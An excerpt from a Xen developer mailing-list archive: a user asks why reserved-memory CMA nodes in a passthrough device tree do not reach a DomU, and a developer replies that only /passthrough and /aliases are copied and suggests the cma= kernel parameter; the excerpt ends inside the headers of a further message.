Â  Â 81Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â programmable-char-timeout = <4>;
Â  Â 82Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â status = "okay";
Â  Â 83Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,path = "/bus@100000/bus@22000000/uart@53914000";
Â  Â 84Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,reg = <0x0 0x53914000 0x1000 0x0 0x53914000>;
Â  Â 85Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,force-assign-without-iommu;
Â  Â 86Â  Â  Â  Â  Â  Â  Â  Â  Â };
Â  Â 87Â  Â  Â  Â  Â  };

Â  Â 88Â  Â  };


And this is my dom1.cfg file:

Â 1 name = "dom1"
Â 2 memory = 256
Â 3 vcpus = 4
Â 4Â 
Â 5 kernel = "/boot/xen-dom1/Image"
Â 6 extra = "console=ttyS0,115200n8 earlycon=uart8250,mmio32,0x53914000,115200n8 loglevel=8 root=/dev/xvda rw"
Â 7Â 
Â 8 # UART1 (0x53914000) passthrough to Dom1 console
Â 9 iomem = ["0x53914,1"]
11 irqs = [ 334 ]
12 dtdev = [ "/bus@100000/bus@22000000/uart@53914000"]
13 vif = ["script=vif-route"]
14 device_tree = "/boot/xen-dom1/passthrough.dtb"
15 #Â Â 
17 disk = ["phy:/dev/vda2,xvda,rw"]


Am I doing something wrong? Any help or debugging leads would be really appreciated...

Thank you,
Beleswar



From xen-devel-bounces@lists.xenproject.org Fri Jul 24 08:22:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 08:22:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369876.1618353 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnBAf-0007NO-Pj; Fri, 24 Jul 2026 08:22:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369876.1618353; Fri, 24 Jul 2026 08:22:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnBAf-0007NH-N2; Fri, 24 Jul 2026 08:22:17 +0000
Received: by outflank-mailman (input) for mailman id 1369876;
 Fri, 24 Jul 2026 08:22:17 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wnBAe-0007NB-VR
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 08:22:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnBAe-00DRhf-7n
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 10:22:16 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6320b7-e002-0a2a0a5209dd-0a2a450a937a-0
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 10:22:15 +0200
Received: from [40.93.198.48]
 (helo=CY7PR03CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6320b6-f2d2-0a2a450a0019-285dc6300d75-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 10:22:15 +0200
Received: from MN0P221CA0021.NAMP221.PROD.OUTLOOK.COM (2603:10b6:208:52a::25)
 by MN2PR12MB4254.namprd12.prod.outlook.com (2603:10b6:208:1d0::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Fri, 24 Jul
 2026 08:22:10 +0000
Received: from BN3PEPF0000B075.namprd04.prod.outlook.com
 (2603:10b6:208:52a:cafe::44) by MN0P221CA0021.outlook.office365.com
 (2603:10b6:208:52a::25) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.12 via Frontend Transport; Fri,
 24 Jul 2026 08:22:10 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 BN3PEPF0000B075.mail.protection.outlook.com (10.167.243.120) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.5 via Frontend Transport; Fri, 24 Jul 2026 08:22:09 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 24 Jul
 2026 03:22:09 -0500
Received: from [10.71.196.80] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 24 Jul 2026 03:22:08 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=QX9w3LSDx9vn518apcUqWSOLWMeINB+saHdG4WbX3a2mgc9tSMyxOSRfRiYUo6PL/CTWqgp2lRkWSbSyUs7pbO/RkWkR3MCsuC2z9LsYf3fedpg8yJQVLRqwqsfRRl9vETOMrr6/rwb/M9w+CUUm+eU8BwWwLziP2UQiNMHlHYil24SK0tKYMmH/Dj+yPBNhm12fHlO33Qx9RahqTozYkof1OvXce9paH3m5OCiVfct7POpkldHM2Iwxk5U1r2klIKKMczjGVYH73xLPzdo4nn4MgXkMzcKPHxU8ZBBFiPaThpqaZQpMZWg3t4LPGQ0a9Q2ZPyK2G1BqcsY/JJaFow==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=aKZsURe/YOwgT1buT3Tatszo5VHfah4o8xKwrDszR1M=;
 b=yXaTvlBOkgzXQiGYb/+TDFQwDbK59LRQWp9A3TK0477a9IF4PLNpfQVc5XuQvZmYQh9ADWeura4XGBbBEjNPCOo32zLlxv3dXjITMpQTVbc3xsBNq5qn/5A8xD+o2KGNYo7ZqPKVHILqaB9RjnjGNndga7qWbDpMSr1bTF1CeLWhH9MnVdNv6dYVqoCzgQMoYoZhLFPQaVjCDrT8s5s3zYtlLgMBP0de1Qz/mHMm30FO0QLBtLeylIHQv7uJdarA2soL99i63MO0HJAl1cPyVDOmOfpbAcBMWgRUkcB4XQx1Cyqzrf7tARXVKhclLdRnyf9A2XBDl3eXx4dGtCwyRA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=ti.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=aKZsURe/YOwgT1buT3Tatszo5VHfah4o8xKwrDszR1M=;
 b=spJII4e1NKr8kJAOg8oqRPsHCXCZbBsZYnDB78Kkt4L4/97nY8FEfbH4suAvVLODblICJk4uuF+9TXWQKDh1cKA912/QtWnIRDBv+jYfBV9Fx4hX07vJy8SaZZutBI0EpxEBSLVSZeSx7vgrfHJeCT9t6E0v39FYMIk6x5fll6w=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <c042c42e-89a6-4d9e-8b9e-3f6ceb259467@amd.com>
Date: Fri, 24 Jul 2026 10:22:09 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [Query] Unable to probe reserved-memory carveouts in DomU with
 Xen
To: Beleswar Prasad Padhi <b-padhi@ti.com>, <xen-devel@lists.xenproject.org>
References: <ba100bd7-5cc0-4f87-af3c-dca887963d44@ti.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <ba100bd7-5cc0-4f87-af3c-dca887963d44@ti.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN3PEPF0000B075:EE_|MN2PR12MB4254:EE_
X-MS-Office365-Filtering-Correlation-Id: 1b9b9fd4-5a62-4854-541a-08dee95ca7f4
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|23010399003|1800799024|376014|82310400026|10067099003|11063799006|22082099003|18002099003|56012099006;
X-Microsoft-Antispam-Message-Info:
	oZahHQYvrfnF4ExbVcnRVUMpaE4dAb3Yaiyl+SFzQNckgqoiB5O47YpN8gEIyppo+KQI2tTjtLXQtz9pxnBKqsHEqrDlFXlitnw4GjdKh+nYKfXeM+5pqt6KrvCSgvKoOP3K5SOYH5Wm/iP5LfDyNQh/8x7/ZjFnFqJyn7N1ty9wb/ujo+mTllXCsWJlryX2dHFe7SonNI4CnpYnM4ph7PLg9E0EpxtVnwNiy/Afk4ZCEkNP4+IZ3DvIq3JmyhEuqxH1xaLQJbNO2fK4mill0my47K3e5eblOkndXvww090p6QcXKf7DdiYAeQKwvhT6YyasUx5PtqNGEWgv5+pdiWKrk0RTM/6ne8afY4LvS8SWREzXm7v/5HnEjoIc/h3Q7PlTwZ19wFUYW+52zX8MQlj+sC9/Car23/Lg5Hs+oJT0hAQBF4byLRgEfj9FLIOOb2XXCGvJNpMK5U/Shr3mEFDkPL/DPtId4FVJ0XckI46V5vCrd7LsAaWRDnctwCIlsNsfPHIUrR3u1BaKjeN2wULmHb4K5wNlufyasG9RKXqiHfHVd/VfBCdyTQB9h1CVccOS0CBEPWSGGEPRgpAVoxCogukkpXFwCJDAbP2relAUUtLeMcAI93j5k80tiBkAVZMxqY7e8DxbKJ1DODiZkSYDEc2HaTeW72mh8YMYfQhgicfdVLXdGxCBMro67F6iUF3aA5T6iXT2MKGo5HAVPg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(23010399003)(1800799024)(376014)(82310400026)(10067099003)(11063799006)(22082099003)(18002099003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	mt/tQtceglsTQcfdsIRS07sZTMMtwGszH/HyZrkMB8pq/kFhS/xfyMu6QcJVu6kzDicRC5Bwgbc+BXgcaNPJ4fFzM0Ga51SImbI4ndsDQwp1p5C27DphHaznpNfWsLoVMlL9XGeBWzAlw/qXUAVypDRIkq+IlCxNWkAwFpre8G+l3tdNpMuNBmOl1Da01PH1TogrUGNxOdU/ABLxBqqkNNZ8noUCS8bi5M/k1N59RXgv2GdS1O6IC7ly8DnfJXQiLFxYp+mMRL5es9Qt74CR6qeel5PhitDtgovb/fIt1TQaNv9QY0Zaw4Y3/y9pFfTzs1zPAZidx+T2rnKtQTYOhMSdB1CuHaX3IY6CuM8k28RerSJ3hOCrDLcNlU6VkQxh0drD9wFtaab7/nI2EX85KL+QsXLi/pcGbP5o3t7NPAIzSOdAARsPsmSkmTPgbv94
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 24 Jul 2026 08:22:09.6825
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 1b9b9fd4-5a62-4854-541a-08dee95ca7f4
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN3PEPF0000B075.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MN2PR12MB4254
X-purgate-ID: tlsNG-4011c0/1784881335-52ADCCFC-F7A2BE48/0/0
X-purgate-type: clean
X-purgate-size: 5107

Hi,

I'm afraid this will not work. The reason is that Xen only copies nodes from the
passthrough DTB to final DTB that are placed under `/passthrough` node and
`/aliases`. /reserved-memory needs to be under root node `/`, therefore it will
not be copied. However, it seems like you are not using CMA node specifying a
fixed memory region (using `reg`) but size. In that case you should be able to
achieve the same using `cma=128M` kernel cmdline parameter.

~Michal

On 24-Jul-26 08:55, Beleswar Prasad Padhi wrote:
> Hi all,
> 
> I have been trying to use reserved-memory carveouts in DomU, but failing constantly.
> 
> This is the log from Dom1 boot:
> 
> [Â  Â  0.000000] earlycon: uart8250 at MMIO32 0x0000000053914000 (options '115200n
> 8')
> [Â  Â  0.000000] printk: legacy bootconsole [uart8250] enabled
> [Â  Â  0.000000] Xen 4.21 support found
> [Â  Â  0.000000] efi: UEFI not found.
> *[Â  Â  0.000000] OF: reserved mem: Reserved memory: No reserved-memory node in the DT*
> [Â  Â  0.000000] Zone ranges:
> [Â  Â  0.000000]Â  Â DMAÂ  Â  Â  [mem 0x0000000040000000-0x0000000051ffffff]
> [Â  Â  0.000000]Â  Â DMA32Â  Â  empty
> [Â  Â  0.000000]Â  Â NormalÂ  Â empty
> [Â  Â  0.000000] Movable zone start for each node
> [Â  Â  0.000000] Early memory node ranges
> [Â  Â  0.000000]Â  Â nodeÂ  Â 0: [mem 0x0000000040000000-0x0000000051ffffff]
> [Â  Â  0.000000] Initmem setup node 0 [mem 0x0000000040000000-0x0000000051ffffff]
> [Â  Â  0.000000] On node 0, zone DMA: 24576 pages in unavailable ranges
> [Â  Â  0.000000] cma: Reserved 32 MiB at 0x000000004f800000
> 
> This is my passthrough.dts:
> 
> Â  Â  1 /*
> Â  Â  2 * This is a partial DT for passthrough node to DomU.
> Â  Â  3 */
> Â  Â  4 #include <dt-bindings/interrupt-controller/irq.h>
> Â  Â  5 #include <dt-bindings/interrupt-controller/arm-gic.h>
> Â  Â  6Â 
> Â  Â  7 /dts-v1/;
> Â  Â  8Â 
> Â  Â  9 / {
> Â  Â 10Â  Â  Â  Â  Â #address-cells = <2>;
> Â  Â 11Â  Â  Â  Â  Â #size-cells = <1>;
> Â  Â 12Â 
> ~Â  13Â  Â  Â  Â  Â reserved-memory {
> ~Â  14Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
> ~Â  15Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <2>;
> +Â  16Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
> +Â  17Â 
> +Â  18Â  Â  Â  Â  Â  Â  Â  Â  Â /* CMA region for framebuffer allocation */
> +Â  19Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma {
> +Â  20Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
> +Â  21Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reusable;
> +Â  22Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â size = <0x00 0x08000000>; /* 128MB CMA pool */
> +Â  23Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma-default;
> +Â  24Â  Â  Â  Â  Â  Â  Â  Â  Â };
> Â  Â 25Â  Â  Â  Â  Â };
> Â  Â 26Â 
> Â  Â 27Â  Â  Â  Â  Â passthrough {
> Â  Â 28Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "simple-bus";
> Â  Â 29Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
> Â  Â 30Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
> Â  Â 31Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <1>;
> Â  Â 32Â 
> Â  Â 33Â  Â  Â  Â  Â  Â  Â  Â  Â misc_clk: misc_clk {
> Â  Â 34Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â #clock-cells = <0>;
> Â  Â 35Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clock-frequency = <100000000>;
> Â  Â 36Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "fixed-clock";
> Â  Â 37Â  Â  Â  Â  Â  Â  Â  Â  Â };
> 
> Â  Â 73Â  Â  Â  Â  Â  Â  Â  Â  Â uart@53914000 {
> Â  Â 74Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "ns16550a";
> Â  Â 75Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0x53914000 0x1000>;
> ~_ 76Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â interrupts = <0 302 4>;
> Â  Â 77Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-shift = <2>;
> Â  Â 78Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-io-width = <4>;
> Â  Â 79Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clocks = <&misc_clk>;
> Â  Â 80Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â oversampling-rate = <16>;
> Â  Â 81Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â programmable-char-timeout = <4>;
> Â  Â 82Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â status = "okay";
> Â  Â 83Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,path = "/bus@100000/bus@22000000/uart@53914000";
> Â  Â 84Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,reg = <0x0 0x53914000 0x1000 0x0 0x53914000>;
> Â  Â 85Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,force-assign-without-iommu;
> Â  Â 86Â  Â  Â  Â  Â  Â  Â  Â  Â };
> Â  Â 87Â  Â  Â  Â  Â  };
> 
> Â  Â 88Â  Â  };
> 
> 
> And this is my dom1.cfg file:
> 
> Â 1 name = "dom1"
> Â 2 memory = 256
> Â 3 vcpus = 4
> Â 4Â 
> Â 5 kernel = "/boot/xen-dom1/Image"
> Â 6 extra = "console=ttyS0,115200n8 earlycon=uart8250,mmio32,0x53914000,115200n8 loglevel=8 root=/dev/xvda rw"
> Â 7Â 
> Â 8 # UART1 (0x53914000) passthrough to Dom1 console
> Â 9 iomem = ["0x53914,1"]
> 11 irqs = [ 334 ]
> 12 dtdev = [ "/bus@100000/bus@22000000/uart@53914000"]
> 13 vif = ["script=vif-route"]
> 14 device_tree = "/boot/xen-dom1/passthrough.dtb"
> 15 #Â Â 
> 17 disk = ["phy:/dev/vda2,xvda,rw"]
> 
> 
> Am I doing something wrong? Any help or debugging leads would be really appreciated...
> 
> Thank you,
> Beleswar
> 
> 



From xen-devel-bounces@lists.xenproject.org Fri Jul 24 08:32:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 08:32:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369888.1618363 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnBKl-0000cx-NJ; Fri, 24 Jul 2026 08:32:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369888.1618363; Fri, 24 Jul 2026 08:32:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnBKl-0000cq-KZ; Fri, 24 Jul 2026 08:32:43 +0000
Received: by outflank-mailman (input) for mailman id 1369888;
 Fri, 24 Jul 2026 08:32:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <b-padhi@ti.com>) id 1wnBKk-0000ck-7k
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 08:32:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnBKj-00BDLL-GY
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 10:32:41 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <b-padhi@ti.com>)
 id 6a632325-bab6-0a2a0a5309dd-0a2a4501aa9c-6
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 10:32:40 +0200
Received: from [148.163.154.28] (helo=mx0b-0002e601.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <b-padhi@ti.com>)
 id 6a632326-5984-0a2a45010019-94a39a1c7dd2-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 10:32:39 +0200
Received: from pps.filterd (m0374955.ppops.net [127.0.0.1])
 by mx0b-0002e601.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66O4lIS7408453; Fri, 24 Jul 2026 03:32:37 -0500
Received: from dm1pr04cu001.outbound.protection.outlook.com
 (mail-centralusazon11010050.outbound.protection.outlook.com [52.101.61.50])
 by mx0b-0002e601.pphosted.com (PPS) with ESMTPS id 4fkyp7hmej-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT);
 Fri, 24 Jul 2026 03:32:37 -0500 (CDT)
Received: from DS7P220CA0097.NAMP220.PROD.OUTLOOK.COM (2603:10b6:8:25a::6) by
 DS7PR10MB5087.namprd10.prod.outlook.com (2603:10b6:5:3b0::16) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.11; Fri, 24 Jul 2026 08:32:27 +0000
Received: from CH3PEPF00000012.namprd21.prod.outlook.com
 (2603:10b6:8:25a:cafe::4d) by DS7P220CA0097.outlook.office365.com
 (2603:10b6:8:25a::6) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.12 via Frontend Transport; Fri,
 24 Jul 2026 08:32:27 +0000
Received: from lewvzet201.ext.ti.com (198.47.23.195) by
 CH3PEPF00000012.mail.protection.outlook.com (10.167.244.117) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.0 via Frontend Transport; Fri, 24 Jul 2026 08:32:26 +0000
Received: from DLEE210.ent.ti.com (157.170.170.112) by lewvzet201.ext.ti.com
 (10.4.14.104) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Fri, 24 Jul
 2026 03:32:26 -0500
Received: from DLEE213.ent.ti.com (157.170.170.116) by DLEE210.ent.ti.com
 (157.170.170.112) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Fri, 24 Jul
 2026 03:32:26 -0500
Received: from lelvem-mr06.itg.ti.com (10.180.75.8) by DLEE213.ent.ti.com
 (157.170.170.116) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37 via Frontend
 Transport; Fri, 24 Jul 2026 03:32:25 -0500
Received: from [172.24.22.69] (ltpw09g66v.dhcp.ti.com [172.24.22.69])
 by lelvem-mr06.itg.ti.com (8.18.1/8.18.1) with ESMTP id 66O8WOSb2859949;
 Fri, 24 Jul 2026 03:32:25 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=proofpoint-05-2026 header.d=ti.com header.i="@ti.com" header.h="Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector1 header.d=ti.com header.i="@ti.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; h=
	content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=
	proofpoint-05-2026; bh=hn4uvu6xUHqmPN17z9JfBf/PvTCha8Eab+twlmEpd
	eA=; b=My61sY8UR9mdhQekqjmh37JcKxFLBFR6RptYybSlntistNKw+wLR5fLMM
	ZTAyFH0zSwj0g9okhCqYz5ANegO7K5eXTgPGwGmMnUq2/CZ0g309xqFSza7fR0fL
	F2zjf7odO25WtuyDrVhl15e/cU3MgG1I6x4KPUVbIJuWrg0GItV3nJD7apc0RT2s
	FVVVj3qMZi5uIRfp/wNkNNdbP3I8mOWdHvDISsF+/FulFE4/xzx8uKRqgPE1zJur
	Xevxc4YbOOXs4qyPMxEQjfbLC/hyQ6J362hnQ9Idw8RkjejzoyL9nPSfdIHi4SJh
	6OHt2e3PC+lLgyoi/gjqJSgMwLHKw==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=YalrudPRN2tTA9y7waWzphZgf10hQ7I9s7NRMmVtsJK+uvHOfHneX80bVFS/EeahouKJ1fQ8yffJnnG4LWKTSEuJiJi0c5yWgeXdKFXBZfRB4tHUNBuVAGlXSzEvOkBJ36dw4h0jxTAySyFFGO79CpgOTWffQsAXD4YbTiJXCy5aIZBVs+f+3UV1MHPsUz1FEdOA+iIJXjAmny2sRXEt2PJIibqoUloc1z3be9NAFBZdN7P+c6Ut0LRH/4Q2yXB9jCmiYnq3TdxfntqUEH8X6S9WkZX5SCL383E7lkERmxpBZNmuJ+StJuwLDXT27SohlKoyMK+QH54VCVDUkcrpig==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=hn4uvu6xUHqmPN17z9JfBf/PvTCha8Eab+twlmEpdeA=;
 b=vXhIDmkLB/BNB3qMvGcgLaLRRHa3fuQFNcpECfzJKBWVpzha4gGpXHV63D/l9dfVUHHrmfyXE0hpknlkcJJGa5RDJNXzpzgP8gV3bC+VGsG2hiRhwOCeoAOIo7c8wFXrlOTbqzaRU8QU2FKLBl4eQ3piQOcVbBB9RfG6FIEGS8h86e7yShxl4wsqV9vKy+FsFoghrnF+7bDlOVdAl9Y5vZ0ocDOLdbGn8V9m1wJvNHNmfvFIhyL1Vtx1biVq5ASZlRKwAp7XCiWDr7dNE9zLef0IFFTISOg93Zu/8TpHsX60U6ZzPdDhvbDT6NF7JTolIVXY6E4b4df1OdJeD5Ynzg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 198.47.23.195) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=ti.com;
 dmarc=pass (p=quarantine sp=none pct=100) action=none header.from=ti.com;
